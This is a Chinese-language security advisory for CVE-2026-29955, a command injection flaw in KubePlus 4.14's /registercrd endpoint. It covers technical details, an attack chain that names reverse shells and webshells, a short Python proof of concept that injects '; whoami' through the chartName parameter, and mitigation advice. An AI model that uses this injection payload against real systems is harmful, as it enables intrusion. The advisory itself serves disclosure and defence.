IPBUF安全漏洞报告
English
CVE-2026-29955 CVSS 8.8 高危

CVE-2026-29955 KubePlus命令注入漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-29955
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
KubePlus

相关标签

命令注入RCEKubePlusCVE-2026-29955代码执行高危漏洞

漏洞概述

KubePlus 4.14版本中的kubeconfiggenerator组件存在严重命令注入漏洞(CVSS 8.8)。该组件在处理/registercrd接口请求时,直接将用户输入的chartName参数拼接至Shell命令字符串中且未作清理。攻击者利用此漏洞可构造恶意参数,诱导服务器执行任意系统命令,从而完全控制主机,严重影响机密性、完整性和可用性。

技术细节

该漏洞源于KubePlus 4.14版本中kubeconfiggenerator组件对用户输入缺乏严格的验证与消毒。在处理/registercrd端点的请求时,后端代码使用Python的subprocess.Popen函数并启用shell=True参数来执行操作系统命令。关键问题在于,代码直接将HTTP请求中的chartName参数通过字符串拼接的方式嵌入到命令行中,完全未进行任何安全过滤或转义处理。这使得攻击者可以通过注入Shell元字符(如分号;、反引号`或$(command)语法)来截断原有的命令逻辑,并追加任意恶意指令。由于CVSS向量显示攻击复杂度低且无需用户交互,经过身份认证的攻击者即可利用此漏洞在服务器端远程执行任意系统代码,可能导致敏感数据泄露、服务器被完全控制或破坏业务连续性。

攻击链分析

STEP 1
侦察
攻击者发现目标运行KubePlus 4.14,并确定低权限账户凭证。
STEP 2
漏洞定位
分析网络流量或API文档,确认/registercrd接口存在且接受chartName参数。
STEP 3
构造攻击载荷
创建包含Shell元字符(如;或&&)的chartName值,以拼接恶意系统命令(如id或反弹Shell)。
STEP 4
发送恶意请求
向/registercrd端点发送POST请求,注入包含恶意命令的chartName参数。
STEP 5
命令执行
服务器后端未过滤参数,直接调用subprocess.Popen执行,导致恶意命令在服务器端运行。
STEP 6
建立控制
攻击者获取命令执行结果,可能进一步上传WebShell或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-29955: Command Injection in KubePlus # Target Endpoint: /registercrd # Vulnerable Parameter: chartName target_url = "http://target-host:port/registercrd" # The payload injects a command to print 'whoami' using a semicolon malicious_chartName = "example_chart; whoami" payload_data = { "chartName": malicious_chartName } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for command execution output.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

KubePlus 4.14

防御指南

临时缓解措施
如果无法立即升级,建议在WAF或反向代理层配置严格规则,拦截对/registercrd接口的请求中包含Shell元字符(如;、|、&、$、`、()等)的数据包。同时,应严格限制该接口的访问权限,仅允许必要的服务账户进行调用,并加强系统日志监控,检测异常的子进程调用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表